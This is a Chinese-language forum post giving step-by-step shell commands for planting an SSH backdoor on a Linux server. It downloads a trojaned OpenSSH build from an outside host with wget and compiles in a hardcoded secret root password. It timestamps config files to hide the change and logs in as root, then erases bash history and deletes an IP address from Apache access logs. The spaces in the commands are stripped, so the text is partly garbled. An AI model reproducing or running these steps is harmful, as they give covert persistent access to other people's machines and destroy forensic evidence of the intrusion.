LinuxSSH后门快速安装与使用

[复制链接]
查看240 | 回复0 | 2012-4-1 19:15:42 | 显示全部楼层 |阅读模式
1、mv/etc/ssh/ssh_config/etc/ssh/ssh_config.old


2、mv/etc/ssh/sshd_config/etc/ssh/sshd_config.old


3、下载并安装ssh后门:


shell-#wgethttp://img.hakzvip.com/1007/sshbd.tgz

shell-#tarzxvfsshbd.tgz

shell-#cdopenssh
 
4、设置ssh后门的登录密码:
viversio.h

#defineSSH_VERSION"OpenSSH_4.2"–>you'vetoeditOpenSSH_4.2
viincludes.h

define_SECRET_PASSWD"test123"->editasuwishpassword
 
5、继续安装:
shell-#./configure–prefix=/usr–sysconfdir=/etc/ssh

shell-#make&&makeinstall

shell-#cpssh_configsshd_config/etc/ssh/

touch-r/etc/ssh/ssh_config.old/etc/ssh/ssh_config

touch-r/etc/ssh/sshd_config.old/etc/ssh/sshd_config

shell-#/etc/init.d/sshdrestart
 
6、登入后门:
ssh-lrootxx.xx.xx.xx<IP_backdoored_machine>

密码:test123

echo>/root/.bash_history//清空操作日志
&nbsp;
7、清除apache日志:
exportHISTFILE=/dev/null

exportHISTSIZE=0

cd/etc/httpd/logs/

sed-i'/210.73.64.100/d'access_log*

&nbsp;

*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则